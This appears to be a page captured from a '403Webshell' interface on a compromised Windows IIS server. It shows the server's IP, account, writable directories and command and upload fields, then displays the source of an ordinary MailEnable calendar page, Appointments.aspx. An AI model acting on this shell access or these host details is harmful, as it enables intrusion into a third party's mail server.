403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files (x86)/Mail Enable/Bin/NETWebMail/Mondo/lang/sys/Forms/CAL/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files (x86)/Mail Enable/Bin/NETWebMail/Mondo/lang/sys/Forms/CAL/Appointments.aspx
<%@ Page Language="vb" AutoEventWireup="false" Inherits="MailEnable.Clients.WebMail.Mondo.Appointments" CodeBehind="Appointments.aspx.vb" %>
<%@ Register TagPrefix="uc1" TagName="uscStyleHeader" Src="../../../Controls/uscStyleHeader.ascx" %>
<%@ Register TagPrefix="qwsec" Namespace="Quickwebsoft.Web.UI.WebControls" Assembly="Quickwebsoft.Web.UI.WebControls.EventCalendar" %>
<%@ Register TagPrefix="uc1" TagName="uscAccess" Src="../../../Controls/uscAccess.ascx" %>
<%@ Register TagPrefix="uc1" TagName="ScriptsInclude" Src="../../../Controls/ScriptsInclude.ascx" %>
<%@ Register TagPrefix="uc2" TagName="uscLanguageTokenMondo" Src="../../../Controls/uscLanguageToken.ascx" %>
<uc2:uscLanguageTokenMondo id="uscToken" runat="server"></uc2:uscLanguageTokenMondo>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html style="overflow-x:hidden;">

	<head>
	    <title></title>
		<meta name="vs_defaultClientScript" content="JavaScript">
		<meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5">
		<meta http-equiv="content-type" content="text/html;charset=UTF-8">
		<uc1:uscstyleheader id="UscStyleHeader1" runat="server"></uc1:uscstyleheader>
        <script type ="text/javascript" src='../../../../../plugins/jquery/v3.6.0/jquery.min.js'></script>
        <script type ="text/javascript" src='../../../../../plugins/jquery/v3.6.0/jquery-ui.min.js'></script>
        <script type ="text/javascript" src='../../../../../plugins/jquery/v3.6.0/jquery-migrate.min.js'></script>
        <uc1:ScriptsInclude id="ScriptsInclude" runat="server" libraries="core,ajax,tabdialog,common,popupmenu"></uc1:ScriptsInclude>

        <link href='../../../../../plugins/jquery/v3.6.0/themes/jquery-ui.min.css' rel='stylesheet'/>
        <style>
            .ui-dialog  {
                z-index: 1000 !important;
                background: #eee;
            }
            .me-popup {
                position: absolute;
                top: 0px;
                left: 0px;
                z-index: 10099;
            }
            .rightClickMenu_shell {
                padding: 0px;
                border-spacing: 10px;
                border-collapse: separate;
            }
        </style>
<%If Not UseQWSCalendar() Then%>
        <meta charset='utf-8' />
        <link href='../../../../../plugins/fullcalendar-3.10.5/fullcalendar.min.css' rel='stylesheet' />
        <link href='../../../../../plugins/fullcalendar-3.10.5/fullcalendar.print.min.css' rel='stylesheet' media='print' />        
        <script src='../../../../../plugins/fullcalendar-3.10.5/lib/moment.min.js'></script>
        <script src='../../../../../plugins/fullcalendar-3.10.5/fullcalendar.min.js'></script>                
        <!--<script src='../../../../../plugins/fullcalendar-3.10.5/locale/es.js'></script>--><!--could load individually (if needed one day)-->
        <script src='../../../../../plugins/fullcalendar-3.10.5/locale-all.js'></script><!--load all languages-->
        <script src='../../Scripts/tooltip.min.js'></script>
        
        <script>
            var POPUP_MENU_ID_EDIT = 1;
            var POPUP_MENU_ID_DELETE = 0;
            var POPUP_MENU_ID_EXPORT = 1;
            var gPopupItemID;			// Item ID of the selected item in the list (via context/popup menu)

            FullCalendarActions = {
                currentTime: null, 
                isDblClick : function() {
                    var prevTime = typeof FullCalendarActions.currentTime === null
                    ? new Date().getTime() - 1000000
                    : FullCalendarActions.currentTime;
                    FullCalendarActions.currentTime= new Date().getTime();
                    return FullCalendarActions.currentTime - prevTime < 500;
                }
            }

            function PopupMenu_Create(sjqContainer, sId) {
                var sOut="<table><tr><td><table id=\"" + sId + "\" class=\"rightClickMenu_shell\" border=\"0\" onmouseover=\"PopUp_MenuSetState(1);\"><tbody>";
                sOut += "<tr><td class=\"rightClickMenu_shell_topleft\"><div class=\"rightClickMenu_shell_topleft_div\"></div></td><td class=\"rightClickMenu_shell_top\"></td><td class=\"rightClickMenu_shell_topRight\"></td></tr>";
                sOut += "<tr><td class=\"rightClickMenu_shell_left\"></td><td class=\"rightClickMenu_shell_mid\"><div class=\"rightClickMenu_body_shell\"><ul><!-- Popup row items get added here --></ul></div></td>";
                sOut += "<td class=\"rightClickMenu_shell_right\"></td></tr>";
                sOut += "<tr><td class=\"rightClickMenu_shell_botLeft\"><div class=\"rightClickMenu_shell_botLeft_div\"></div></td><td class=\"rightClickMenu_shell_bot\"></td>";
                sOut += "<td class=\"rightClickMenu_shell_botRight\"></td></tr></tbody></table></td></tr></table>";
                $(sjqContainer).append(sOut);
            }
            function IsPopupMenuActive(oSourceElement) {
                //stub function to allow popups
                return true;
            }
            function IsPopupMenuCommandActive(MessageID, i) {
                //stub function to allow popups
                return true;
            }

			function ProcessPopUp(Action)
            {
                // note: menuSelObj holds the actual event object (with the id, resourceid, etc)
                // gPopupItemID contains the id only
				switch (Action)
				{
                    case 'Delete':
                        onDelete(menuSelObj);
						break;
                    case 'Export':
                        onExport(gPopupItemID, menuSelObj.resourceid);
						break;
                    case 'Edit':
                        onEdit(menuSelObj);
						break;
					default:
						break;
                }
                PopUp_HideMenu('menudiv');
                return true;
            }

            function getFloatingDate(fcdate) {
                if (fcdate.isUTC()) {
                    // need to apply the offset 
                    var d = fcdate.toDate();
                    d.setMinutes(d.getMinutes() + d.getTimezoneOffset());
                    return d;
                }
                else {
                    return fcdate.toDate();
                }
            }

            function getSharedCalendarArray() {
                return parent.frames['frameDatePicker'].getSharedCalendarArray();
            }

            function GetSelectedCalendarsParameters() {
                return '&' + parent.frames['frameDatePicker'].GetSelectedCalendarsParameters(); 
            }

            function getEventsURL() {
                return '../../../../servlet/request.aspx?Cmd=LIST-EVENTS' + GetSelectedCalendarsParameters() + '&ME_SID=' + readCookie('MailEnable-SessionId') + '&ME_VALIDATIONTOKEN=' + getTopAppWindow().g_opt['ME_VALIDATIONTOKEN'];
            }

            var selectedEvent = null;

            var fcSources = {
                default: {
                            url: getEventsURL(),
                            color: '#82CAFA', /* matches mycalendar color: fcdefault is #3a87ad*/
                            error: function () {
                                $('#script-warning').show();
                            }
                            /* 
                            type: 'GET',
                            cache: true,
                            textColor: 'white',
                            className: 'mycssclass' 
                            */
                         }

            };

            function getDayIndex(sDay) {
                if (sDay == 'Sunday') {return 0;}
                if (sDay == 'Monday') {return 1;}
                if (sDay == 'Tuesday') {return 2;}
                if (sDay == 'Wednesday') {return 3;}
                if (sDay == 'Thursday') {return 4;}
                if (sDay == 'Friday') {return 5;}
                if (sDay == 'Saturday') {return 6;}
                return 0;
            }

            function getbusinesshours() {
                //mask non-business hours if we nominate to only show work days
                //fist day and last day can be used here to establish what we mask.
                var days = false;                
                var WorkDaysOnly = getTopAppWindow().GetOption('WorkDaysOnly') == '1';
                if (WorkDaysOnly) {
                    var start = getDayIndex(getTopAppWindow().GetOption('StartWorkDay'));
                    var end = getDayIndex(getTopAppWindow().GetOption('EndWorkDay'));
                    if (end > 6) { end = 6; } //limit the end scope
                    if (start > end) { start = 0; } //limit the start scope
                    if (start == end) { start = 0; end = 6 } //make sure they are not the same
                    var arr = [];
                    for (i = start; i <= end; i++) {
                        arr.push(i);
                    }
                    days = { dow: arr };
                } else {
                    days = false;
                }
                return days;
            }
            function getshowweekends() {
                // if enabled, only shows M-F
                return getTopAppWindow().GetOption('WorkDaysOnly') != '1';
            }


            function setdefaultview(view) {
                var sView = 'Daily';
                if (view.type == 'agendaDay') { sView = 'Daily'; }
                if (view.type == 'agendaWeek') { sView = 'Weekly'; }
                if (view.type == 'month') { sView = 'Monthly'; }
                if (view.type == 'list') { sView = 'Yearly'; }
                getTopAppWindow().gOptions['CalendarView'] = sView;
            }


            function GetSelectedDate() {
                //formed as "yyyy-MM-dd"
                var taw = getTopAppWindow();
                if (taw.gOptions['CalendarDate']) {
                    return taw.gOptions['CalendarDate'];
                }
                return '<%=GetSelectedDate()%>'
            }

            function getdefaultview() {
                // use equvilent views from options page
                var view = getTopAppWindow().GetOption('CalendarView');
                if (view == 'Daily') { return 'agendaDay'; }
                if (view == 'Weekly') { return 'agendaWeek'; }
                if (view == 'Monthly') { return 'month'; }
                if (view == 'Yearly') { return 'list'; }
                return 'agendaDay';
            }

            $(document).ready(function () {
                $('#calendar').fullCalendar({
                    header: {
                        left: 'prev,next today',
                        center: 'title',
                        //right: 'title',
                        right: 'agendaDay,agendaWeek,month,listWeek' //year,month
                    },
                    defaultDate: GetSelectedDate(),
                    locale: '<%=GetCalendarLocale()%>',
                    defaultView: getdefaultview(), 
                    businessHours: getbusinesshours(),
                    /*weekends: getshowweekends(),*/
                    /*eventColor: '#82cafa', note: this matches legend, but looks terrible*/
                    editable: true,
                    selectable: true,
                    contentHeight: function getCalendarHeight() {
                        $(".calApp_shell_table").hide();
                        var bodyh = $("body").height();
                        $(".calApp_shell_table").show();
                        return bodyh-90;
                    },
                    select: function (start, end, jsEvent, view, resource) {
                        var bShowCreate = false;
                        var DurationMins = 0;
                        var bIsAllDay = (start ? (!start.hasTime()) : false);
                        try {
                            DurationMins=Math.floor(((end - start) / 1000) / 60);
                        } catch (ex) { DurationMins = 0; }
                        if ((DurationMins != 30) && (DurationMins != 1440)) {
                            //it gets annoying if we show it when they select a cell by clicking when in day or month view
                            var sResourceId = ''; //need to get it from the selected list
                            var sResourceList = getResourceList();
                            if (sResourceList) {
                                sResourceId = sResourceList.split('|')[0];
                            }
                            onAdd(getFloatingDate(start), sResourceId, getFloatingDate(end),bIsAllDay);
                        }
                    },
/*
 *  timezone: 'UTC',
                    selectHelper: true,
                    select: function(start, end){
                    //var title = prompt('Event Title:');
                        var eventData;
                    if (title) {
                        eventData = {
                            title: title,
                            start: start,
                            end: end
                        };
                            $('#calendar').fullCalendar  ('renderEvent', eventData, true); // stick? = true
                        }
                        $('#calendar').fullCalendar('unselect');
                    },
*/

                    viewRender: (function (view) {                        
                        if (view.start) {
                            getTopAppWindow().gOptions['CalendarDate'] = formatDate(getFloatingDate(view.start), "yyyy-MM-dd"); 
                            setdefaultview(view);
                            BrowserResize();
                            }
                    }),
                    /*eventAfterAllRender: (function (view) { BrowserResize();}),*/
                    navLinks: true, // can click day/week names to navigate views
                    eventLimit: true, // allow "more" link when too many events
/*                    events: {
                        url: getEventsURL(),
                        error: function () {
                            $('#script-warning').show();
                        }
                    }, */
                    eventSources: [fcSources.default],
                    /*resources: [{ id: 'SF:MailEnable/emptytest/Calendar', title: 'SF:MailEnable/emptytest/Calendar'}],*/
                    loading: function (bool) {
                        $('#loading').toggle(bool);
                    },
                    eventRender:function(event,element) {
                        element.on('contextmenu', function (ev) {
                            //set context menu actions
				            PopUp_ClearItems('menuItemsdiv');
				            PopUp_AddItem('menuItemsdiv', POPUP_MENU_ID_EDIT, 'Edit', t_('[ME_TXT-Edit]'), 'dropDown_icon_delete');
				            PopUp_AddItem('menuItemsdiv', POPUP_MENU_ID_DELETE, 'Delete', t_('[ME_TXT-Delete]'), 'dropDown_icon_delete');
                            PopUp_AddItem('menuItemsdiv', POPUP_MENU_ID_EXPORT, 'Export', t_('[ME_TXT-Export]'), 'dropDown_icon_export');
                            PopUp_ShowMenu(ev, 'menudiv', event, event.id);
                            // so that the default browser's context menu doesn't pop up
                            if (ev.preventDefault)
                            {
                                ev.stopPropagation();
                                ev.preventDefault();    
                            }
                            return false;
                        });
                        BindAppointmentTip(element,event);
                    },
/*
                    navLinkDayClick: function(date, jsEvent) {
                        alert('Clicked navLinkDayClick:' + date.format());
                    },
                    */
                    dayClick: function (date, jsEvent, view) {
                        if (FullCalendarActions.isDblClick())
                        {
                            var sResourceId = ''; //need to get it from the selected list
                            var sResourceList = getResourceList();
                            if (sResourceList) {
                                sResourceId = sResourceList.split('|')[0];
                            }
                            var bIsAllDay = (date ? (!date.hasTime()) : false);
                            onAdd(getFloatingDate(date),sResourceId,null,bIsAllDay);
                        }
                    },
/*
                    eventDragStop: function (info) {
                        if (!info.isrecurring) {
                            alert('onMove:' + info.id);
                        }
                    },
*/
                    eventResize: function (info) {
                        onUpdate(info.id, info.resourceid, '', info.instancedate, info);
                    },
                    //for completion of move action
                    eventDrop: function (info, delta, revertFunc, jsEvent, ui, view) {
                        /* 
                        //do popup if multiple calendars selected
                        PopUp_ClearItems('calitemsdiv');                        
                        var calendars = getSharedCalendarArray();
                        if (calendars.length > 0) {
                            //we need to show the popup that has the list of resources defined
                            for (i = 0; i < calendars.length; i++) {
                                var URI = calendars[i].split("|");
                                var arrParts = ParseURI(URI);
                                //we want to format the calendar in parts
                                PopUp_AddItem('calitemsdiv', i, 'Select', text, '');
                            }
                            PopUp_Show('caltargetdiv');
                            PopUp_SetPosition('caltargetdiv', jsEvent);
                        }
                        */
                        onUpdate(info.id, info.resourceid, '', info.instancedate, info);
                        /*
                        alert(info.event.title + " was dropped on " + info.event.start.toISOString());
                        if (!confirm("Are you sure about this change?")) {
                          info.revert();
                        }
                        */
                    },

                    //for all-day double click
                    /*
                    dayRender:function(date,cell)
                    {
                      
                        cell.on('dblclick',function(){
                            alert('dblckick:' + date)
                        })
                    }, */
                    eventClick: function (calEvent, jsEvent, view) {
                        if (FullCalendarActions.isDblClick()) {
                            onEdit(calEvent);
                        }
                        else {
                            selectedEvent=null;
                            /* disabled for now until feature fully implemented
                             * $(".fc-event").removeClass('selectedEvent');
                            $(this).addClass('selectedEvent');
                            */
                            selectedEvent=calEvent;
                        }
                    }

                });

                PopupMenu_Create('#caltargetdiv','calitemsdiv');
            });

            function getResourceList() {
                //returns the active calendar and colour (despite being poorly named)
                var calendars = getSharedCalendarArray();
                var sSelectedCalendar = '';
                if (calendars.length > 0) {
                    sSelectedCalendar = calendars[0];
                }
                return sSelectedCalendar;
            }
            function getShowMine() {
                return <%=IIf(ParseRequestArgument("ShowMine") = "1", "1", "0")%>;
            }
            function refreshCalendar() {    
                // to fully refresh the calendar, we need to update the URL - which can only be done by adding and removing the source
                $('#calendar').fullCalendar('removeEventSource', fcSources.default)
                fcSources.default.url = getEventsURL();
                $('#calendar').fullCalendar('addEventSource', fcSources.default)
               // $('#calendar').fullCalendar('refetchEvents'); //note: adding event source seems to refetch innately
            }
        </script>

<style type="text/css">
  .ui-dialog { z-index: 1000 !important ; background: #eee;}
  
  body {
    margin: 0;
    padding: 0;
    font-family: "Lucida Grande",Helvetica,Arial,Verdana,sans-serif;
    font-size: 14px;
  }
  
    #top, #calendar.fc-unthemed {
    font-family: "Lucida Grande",Helvetica,Arial,Verdana,sans-serif;
  }

  a, a:link, a:visited, a:hover {
    text-decoration:none;
  }

  #top {
    background: #eee;
    border-bottom: 1px solid #ddd;
    padding: 0 10px;
    line-height: 40px;
    font-size: 12px;
    color: #000;
  }

#top select {
    font: inherit; /* mock what Boostrap does, don't compete  */
}


  #top .selector {
    display: inline-block;
    margin-right: 10px;
  }
  #script-warning {
    display: none;
    background: #eee;
    border-bottom: 1px solid #ddd;
    padding: 0 10px;
    line-height: 40px;
    text-align: center;
    font-weight: bold;
    font-size: 12px;
    color: red;
  }

  #loading {
    /*display: none;*/
    position: absolute;
    top: 10px;
    right: 10px;
  }

  #calendar {
/*    max-width: 900px;*/
    margin: 9px auto;
    padding: 0 10px;
  }

  td {
    font-size: 12px;
    font-family: Verdana,Arial,SansSerif;
    text-align: justify;
}

  .fc-event, .fc-event:hover {
      color:black;
  }

  .fc-scroller {
   -ms-scroll-chaining:none;
    <% If IsTouchClient() Then%>
        /*disable overflow scrolling for touch clients*/
        height: auto!important;
        overflow-y: auto;
    <%End If%>
  }
  a, a:link, a:visited {
      text-decoration:none;
  }
    .left { float: left }
    .right { float: right }
    .clear { clear: both }

  .fc-view-container {
      /*overflow-y:scroll;*/
  }
    .calApp_shell_table {
        width:100%;
    }
    .calApp_shell_table_inner {
        width:100%;
    }

    .selectedEvent {
        background-color:blue;
    }


</style>

<%Else%>

<style type="text/css">
<%If Scrolling() = "yes" Then %>
    <%If EventCalendar.Mode = CalendarMode.Day Then %>
        #EventCalendar_htbl {display:none;} /* hide redundant header for day view - needs to be done in script because week view needs it*/
        .qwsec_D_Top {border-top:1px solid #C9C9C9;}    
    <%ElseIf EventCalendar.Mode = CalendarMode.WorkWeek Then %>
        .qwsec_D_Header {border-top:1px solid #C9C9C9;}    
    <%End If%>
<%End If%>
</style>
<script type="text/javascript" language="javascript">
<!--
    function refreshCalendar() {
        location.reload(true);
    }

    function getResourceList() {
        var ResourceList = <%=MailEnable.Web.Utilities.EncodeJsString(GetSharedResources())%>;
        return ResourceList;
    }

// -->
</script>
<%End If%>

	</head>
	<script type="text/javascript" language="javascript">
	<!--
	
	var Features;
	
	var gShareURI;
	
	var CalendarMode = '<%= GetCalendarMode() %>';
	
	var gDayPickerSynchAttempts = 0;
	var gDayPickerSynchInterval = null;
	var SkinRoot = '<%=Session("skin")%>';
	var gSourceURI = <%=MailEnable.Web.Utilities.EncodeJsString(gSourceURI)%>;
	var gBrowserType = GetBrowserType();
	
	function ShowAlert(Title, Message)
	{
        var dialog = $('<p>' + Message + '</p>').dialog({
            modal: true,
            title:Title,
            draggable: true,
            dialogClass: "no-close",
            closeOnEscape: false,
            open: function(event, ui) {
                $(".ui-dialog-titlebar-close", ui.dialog | ui).hide();
            },
            overlay: "background-color: red; opacity: 0.5",
            buttons: {
                "<%=uscToken.GetText("[ME_TXT-OK]")%>": function () {
                    dialog.dialog('close');
                }
           }
        });
	}
	
	function synchDayPickerFrame()
	{
		var DayPickerFrame = getTopAppWindow().window.frames['frameCalendar'];
		if (DayPickerFrame && DayPickerFrame.setSelectedDate && DayPickerFrame.gLoaded)
		{
			// we need to make sure the selection in the day picker is in sync with the date we are displaying
			var gDate = '<%= gDate %>';
			
			if (gDate != '')
			{
				DayPickerFrame.setSelectedDate(gDate);
			}
			
			DayPickerFrame.UpdateFreeBusyDays();
	        
			// successfully synched, so clear the interval
			clearInterval(gDayPickerSynchInterval);
		}
		
		// limit the number of attempts
		if (gDayPickerSynchAttempts++ > 100)
		{
			clearInterval(gDayPickerSynchInterval);
		}
	}
	
	function GetCalendarTabIDByMode(sMode)
    {
        var sTabID = 'tab1';
        if (/day/i.test(sMode))
        {
            sTabID = 'tab1';
        }
        else if (/week/i.test(sMode))
        {
            sTabID = 'tab2';
        }
        else if (/month/i.test(sMode))
        {
            sTabID = 'tab3';
        }
        else if (/year/i.test(sMode))
        {
            sTabID = 'tab4';
        }
        return sTabID;
    }

    function BrowserResize() {

    <%If Not UseQWSCalendar() Then%>
/*        $("#FrmAppointments").css("overflow-y","hidden");
        $(".calApp_shell_table").hide(); //hide it so we can calculate the parent height
        $(".fc-view-container").height(0); //hide it so we can calculate the parent height        
        var bodyh = $("body").height();
        //$('#calendar').fullCalendar('getOption', 'contentHeight')
        //FullCalendar.option('contentHeight', bodyh);
        //$('#calendar').fullCalendar('changeView','agendaDay');
        $(".fc-view-container").height(bodyh - 100);
        $(".calApp_shell_table").show();
        */
    <%Else%>
        <%If Scrolling() = "yes" Then %>
            var bodyh = $("body").height();
            window.scrollTo(0, 0); //ensure that we are scrolled to the top of the screen so we do not incorrectly calculate the offset
            var calT = $("#EventCalendar_sdiv").offset().top; 
            $("#EventCalendar_sdiv").height(bodyh - calT - 5); // needs to be sized to bodyh- EventCalendar_sdiv.topOffset
            $("#EventCalendar_sdiv").css("overflow","");
            $("#EventCalendar_sdiv").css("overflow-y","scroll");
            $("#EventCalendar_sdiv").css("overflow-x","hidden");
            $("#EventCalendar_sdiv").css("-ms-scroll-chaining","none");
        <%End If %>
    <%End If %>
    }

	$(document).ready(function() {
        //because resizing once is not enough?
        $(window).on('resize', function() {BrowserResize();});
        BrowserResize();
    });

	function PageLoad()
	{
		if (<%=JS_IsAnonymous()%>) { return false; }
		
		gDayPickerSynchAttempts = 0;
		gDayPickerSynchInterval = setInterval("synchDayPickerFrame();", 100);

    <%If UseQWSCalendar() Then%>
        var posObj = $("[name='EventCalendar0900']");
        if (posObj.length !== 0)
        {		
            $(document).scrollTop(posObj.offset().top); 
        }
        SelectTab(GetCalendarTabIDByMode(CalendarMode), parent.document);
    <%End If%>
	    setTimeout(BrowserResize, 2000);
	}
	
	function ServerRequest(sCommand, sData, bUseCallback, sFrameName)
    {	
        var sSource = '<%=EscapeJS(ParseRequestArgument("Source"))%>';
		if ((!gSourceURI || gSourceURI.length == 0) && sSource != '')
		{
			gSourceURI = sSource;
		}
		if (gSourceURI && (gSourceURI.length > 0))
		{
			sData = sData + "&URI=" + encodeURIComponent(gSourceURI);
		}				
		return LIBAjax_ServerRequest(sCommand, sData, bUseCallback, sFrameName);
    }
	
	function DeleteAppointment(ID, ResourceID, Scope, InstanceDate)
	{
		if (ID && ID.length > 0)
		{
            var command = "DELETE-APPOINTMENT";
            var data = 'ID=' + ID + '&ResourceID=' + encodeURIComponent(ResourceID);
            data += '&InstanceScope=' + Scope + '&InstanceDate=' + encodeURIComponent(InstanceDate);
			ServerRequest(command, data, false, 'Appointments');
		}
    }

        function onEdit(calEvent) {

        if (calEvent.isrecurring) {
            onEditRecurring('compose.aspx?Mode=Read&ID=' + calEvent.id, '', encodeURIComponent(calEvent.instancedate), encodeURIComponent(calEvent.resourceid));
        }
        else {
            doEdit('compose.aspx?Mode=Read&ID=' + calEvent.id + '&InstanceScope=' + 'single' + '&InstanceDate=' + encodeURIComponent(calEvent.instancedate) + '&ResourceID=' + encodeURIComponent(calEvent.resourceid));
        }
    }

    function onDelete(calEvent)
    {
        if (calEvent.isrecurring) {
            onDeleteInstance(calEvent.id, calEvent.resourceid, '', calEvent.instancedate)
        }
        else {
            onDeleteInstance(calEvent.id, calEvent.resourceid, 'single', calEvent.instancedate)
        }
    }

    function onUpdate(Id, ResourceId, Scope, InstanceDate,info) {
        //note: the dates presented by fc are in GMT (converted from local time), we need them in floating time - since we use them as though they are GMT literals
        try {
            var args = {
                Cmd: "EDIT-APPOINTMENT",
                ID: Id,
                ResourceID: ResourceId,
                StartTime: formatDate(getFloatingDate(info.start), "yyyy-MM-dd-hh-mm"),
                ME_SID: readCookie('MailEnable-SessionId'),
                ME_VALIDATIONTOKEN: getTopAppWindow().g_opt['ME_VALIDATIONTOKEN']
            };
            //if we do not have a finish time specified then, we need to set the start time and calculate the duration (backend needs to implement this)
            if (info.end != null)
            {
                args['FinishTime'] = formatDate(getFloatingDate(info.end), "yyyy-MM-dd-hh-mm");
            }

            $.ajax({
                url: "../../../../servlet/request.aspx",
                data: args,
                success: function (result) {
                    ErrorValue = $(result).find("RETURNVALUE").text();
                    ErrorDetails = $(result).find("ERROR_DESCRIPTION").text();
                    if (ErrorValue == '1') {
                        getTopAppWindow().ShowNotification(t_("[ME_TXT-AppointmentDetailsUpdatedSuccessfully!]"));
                        refreshDatePickerFreeBusy(GetSelectedDate());
                    } else {
                        getTopAppWindow().ShowNotification(t_("[ME_TXT-Error]") + ': ' + ErrorDetails);
                    }
                },
                dataType: 'xml',
            });

        } catch (err) {
            getTopAppWindow().ShowNotification(err.message);
        };

    }
    
	function onDeleteInstance(AppointmentID, ResourceID, Scope, InstanceDate)
    {
        if (Scope != 'single') {
            var dialog = $('<p>' + t_("[ME_TXT-ConfirmAppointmentDelete]") + '</p>').dialog({
                modal: true,
                title:t_("[ME_TXT-ConfirmDelete]"),
                draggable: true,
                dialogClass: "no-close",
                closeOnEscape: false,
                open: function(event, ui) {
                    $(".ui-dialog-titlebar-close", ui.dialog | ui).hide();
                },
                overlay: "background-color: red; opacity: 0.5",
                buttons: {
                    "<%=uscToken.GetText("[ME_TXT-Series]")%>": function () {
                        //delete series
                        DeleteAppointment(AppointmentID, ResourceID, 'master', InstanceDate);
                        dialog.dialog('close');
                    },
                    "<%=uscToken.GetText("[ME_TXT-Occurrence]")%>": function () {
                        //delete occurrence
                        DeleteAppointment(AppointmentID, ResourceID,'occurrence',InstanceDate);
                        dialog.dialog('close');
                    },
                    "<%=uscToken.GetText("[ME_TXT-Cancel]")%>": function () {
                        dialog.dialog('close');
                    }
                }
            });
        }
        else
        {
            var dialog = $('<p>' + t_("[ME_TXT-ConfirmAppointmentDelete]") + '</p>').dialog({
                modal: true,
                title:t_("[ME_TXT-ConfirmDelete]"),
                draggable: true,
                dialogClass: "no-close",
                closeOnEscape: false,
                open: function(event, ui) {
                    $(".ui-dialog-titlebar-close", ui.dialog | ui).hide();
                },
                overlay: "background-color: red; opacity: 0.5",
                buttons: {
                    "<%=uscToken.GetText("[ME_TXT-Delete]")%>": function () {
                        DeleteAppointment(AppointmentID, ResourceID,'master',InstanceDate);
                        dialog.dialog('close');
                    },
                    "<%=uscToken.GetText("[ME_TXT-Cancel]")%>": function () {
                        dialog.dialog('close');
                    }
                }
            });
        }

    }

	
	
	function ProcessXMLResult(responseXML)
	{
		var BaseNode = responseXML.getElementsByTagName("BASEELEMENT")[0];
		if (BaseNode)  // valid response XML
		{
			var Schema = GetXMLValue(BaseNode.attributes.getNamedItem('SCHEMA'));
			var Command = GetXMLValue(BaseNode.attributes.getNamedItem('METHOD'));
			
			if (Schema == 'RESULT')
			{
				if (Command == 'DELETE-APPOINTMENT')
				{
				    ProcessDeleteResponse(BaseNode);
				}
				if (Command == 'ADD-APPOINTMENT')
                {
                    ProcessAddResponse(BaseNode);
				}
			}
		}
		return true;
	}
	
	function ProcessAddResponse(BaseNode)
    {
	    var Result = GetXMLValue(BaseNode.getElementsByTagName("RETURNVALUE")[0]);
        var sStartDate = GetXMLValue(BaseNode.getElementsByTagName("STARTDATE")[0]);

	    if (Result == 1)
        {
            refreshDatePickerFreeBusy(sStartDate);
        }
        else
        {
            var ErrorDesc = GetXMLValue(BaseNode.getElementsByTagName("ERROR_DESCRIPTION")[0]);
            getTopAppWindow().ShowNotification(t_("[ME_TXT-FailedToCreateAppointment]") + ": " + ErrorDesc);
        }
	}
	
	function ProcessDeleteResponse(BaseNode)
	{
		var Result = GetXMLValue(BaseNode.getElementsByTagName("RETURNVALUE")[0]);
		var sStartDate = GetXMLValue(BaseNode.getElementsByTagName("STARTDATE")[0]);
		if (Result == 1)
		{
			if (getTopAppWindow().ShowNotification) 
				getTopAppWindow().ShowNotification(t_("[ME_TXT-AppointmentDeleted]"));
			gPageMode = 'Delete';
		    
            refreshCalendar();
            refreshDatePickerFreeBusy(sStartDate);
        }
        else
        {
			var ErrorDesc = GetXMLValue(BaseNode.getElementsByTagName("ERROR_DESCRIPTION")[0]);
            getTopAppWindow().ShowNotification(t_("[ME_TXT-FailedToDeleteAppointment]") + ": " + ErrorDesc);
        }
	}
	
	function RefreshFreeBusyMonths()
	{
	    var app = getTopAppWindow();
		app.frames['frmCalendar'].frames['frameDatePicker'].ShowSelectedCalendars();
	}
	
	function refreshDatePickerFreeBusy(DateString)
    {
		var DayPickerFrame = getTopAppWindow().frames['frmCalendar'].frames['frameDatePicker'];
		if (DayPickerFrame && DayPickerFrame.GetFreeBusyDays)
        {
			DayPickerFrame.UpdateFreeBusyDays(DateString);
		}
    }
    
    function onExport(AppointmentID, ResourceID)
    {
        var command = "EXPORT-APPOINTMENT";
        var data = 'ID=' + AppointmentID + '&ResourceID=' + encodeURIComponent(ResourceID) + '&ME_SID=<%=Session.Item("ME_SID")%>';		
		ServerRequest(command, data, false, 'ExportAppointment');
    }

    function onEditRecurring(EditURL, Scope, InstanceDate, ResourceID) 
    {
        //note: for all day events, the control sends up 12PM as the time (so the server needs to consider this accoringly)
        if (ResourceID) {
            EditURL += '&ResourceID=' + ResourceID;
        }
        if (InstanceDate) {
            EditURL += '&InstanceDate=' + encodeURIComponent(InstanceDate);
        }
        if (Scope !='single') {
           //the result is to set the scope value depending on what is clicked
            var dialog = $('<p>' + t_("[ME_TXT-ModifySeriesOrOccurrence]") + '</p>').dialog({
                modal: true,
                title:t_("[ME_TXT-RecurringEvent]"),
                draggable: true,
                dialogClass: "no-close",
                closeOnEscape: false,
                open: function(event, ui) {
                    $(".ui-dialog-titlebar-close", ui.dialog | ui).hide();
                },
                overlay: "background-color: red; opacity: 0.5",
                buttons: {
                    "<%=uscToken.GetText("[ME_TXT-Series]")%>": function () {
                        //series
                        doEdit(EditURL + '&InstanceScope=' + 'master');
                        dialog.dialog('close');
                    },
                    "<%=uscToken.GetText("[ME_TXT-Occurrence]")%>": function () {
                        //instance
                        doEdit(EditURL + '&InstanceScope=' + 'occurrence');
                        dialog.dialog('close');
                    },
                    "<%=uscToken.GetText("[ME_TXT-Cancel]")%>": function () {
                        dialog.dialog('close');
                    }
                }
            });
        }
        else{
            doEdit(EditURL + '&InstanceScope=' + 'single');
        }
    }

    function onAdd(date, resourceId, end, allday)
    {
        getTopAppWindow().NewAppointment(date,resourceId, end, allday);
        /* Seems that we can use the appointment control from the parent
        $('#divNewAppt').load('../../dialogs/AppointmentDetails.htm?v=' + GetScriptVersion(), null, function () {
            $('#RecurrenceTabBody').load('../../dialogs/recurrence.htm?v=' + GetScriptVersion(), null, function () {                
                recurrence.Localize();
                SetRecurrenceType(RECURRENCE_TYPE_NONE);
                oNewAppointmentDialog = new Dialog("NewApptDialog", t_("[ME_TXT-NewAppointment]"), $("#divNewAppt"), { Width: 630 });
                oNewAppointmentDialog.AddOKAndCancelActions(function () { SaveApptDetails(); }, null, t_('[ME_TXT-Add]'), null, false);
                oNewAppointmentDialog.Show();
                //InitApptGeneralFields();
                //InitApptRecurFields();
            });
        });
        
        */
        }

